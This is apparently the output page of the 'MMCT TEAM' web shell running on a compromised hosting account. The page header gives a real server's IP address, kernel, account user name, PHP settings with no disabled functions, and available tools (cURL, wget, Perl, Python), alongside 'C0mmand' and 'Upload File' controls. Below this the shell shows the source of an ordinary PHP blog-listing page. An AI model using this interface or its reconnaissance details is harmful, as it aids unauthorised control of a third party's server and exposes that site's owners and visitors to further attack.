MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 13.58.201.240
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/thedigitaldubai.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/thedigitaldubai.com/blog.php
<?php include("site-header.php"); ?>
            <section>
                <div class="w-100 pt-60 position-relative">
                    <div class="fixed-bg" style="background-image: url(assets/images/bg10.jpg);"></div>
                    <div class="container">
                        <div class="page-title-wrap text-center w-100 d-inline-block">
                            <div class="page-title-inner d-inline-block">
                                <h2 class="mb-0 text-color7">Blog</h2>
                            </div>
                            <div class="breadcrumbs-wrap w-100">
                                <ul class="breadcrumbs mb-0 list-unstyled d-inline-flex">
                                    <li><a href="<?=$site_url?>" title="Home">Home</a></li>
                                    <li class="active">Blog</li>
                                </ul><!-- Breadcrumbs -->
                            </div>
                        </div><!-- Page Title Wrap -->
                    </div>
                </div>
            </section>
            <section>
                <div class="w-100 pt-90 pb-80">
                    <div class="blog-wrap w-100 px-15">
                        <div class="row">

 <?php
   $sql_blog=db_query("select * from tbl_blog where 1 and blog_status='Active' order by blog_id asc");

   while($blog_res=mysqli_fetch_array($sql_blog)){

  ?>
                            <div class="col-md-6 col-sm-6 col-lg-3">
                                <article class="post-style1 w-100 brd-rd20 overflow-hidden position-relative">
                                    <div class="post-img overflow-hidden w-100">
                                        <a class="d-block" href="<?=$site_url?>/blog/<?=$blog_res['blog_url']?>.htm" title="<?=$blog_res['blog_title']?>">
                                            <img class="img-fluid w-100" src="<?=$site_url?>/blog_images/<?=$blog_res['blog_image_name']?>" alt="<?=$blog_res['blog_title']?>"></a>
                                    </div>
                                    <div class="post-info w-100 position-relative">
                                        <a class="brd-rd10 text-uppercase" href="javascript:void(0);" title="<?=$blog_res['blog_title']?>"><?=$blog_res['blog_subject']?></a>
                                        <h3 class="mb-0"><a href="<?=$site_url?>/blog/<?=$blog_res['blog_url']?>.htm" title=""><?=$blog_res['blog_title']?></a></h3>
                                        <p class="mb-0">
  <?php
                                            $blog_desc=strip_tags($blog_res['blog_description']);
                                            echo substr($blog_desc, 0,95)."...";

                                            ?>

                                        </p>
                                    </div>
                                  <div class="post-bottom-info overflow-hidden">
                                        <div class="post-author">
                                            <a href="<?=$site_url?>/blog/<?=$blog_res['blog_url']?>.htm">
                                              <span>Read More <i class="fa fa-angle-right"></i></span></a>
                                        </div>
                                      
                                    </div>
                                </article>
                            </div>
<?}?>


                        </div>
                    </div><!-- Blog Wrap -->
                </div>
            </section>
            <?php include("site-footer.php"); ?>

MMCT - 2023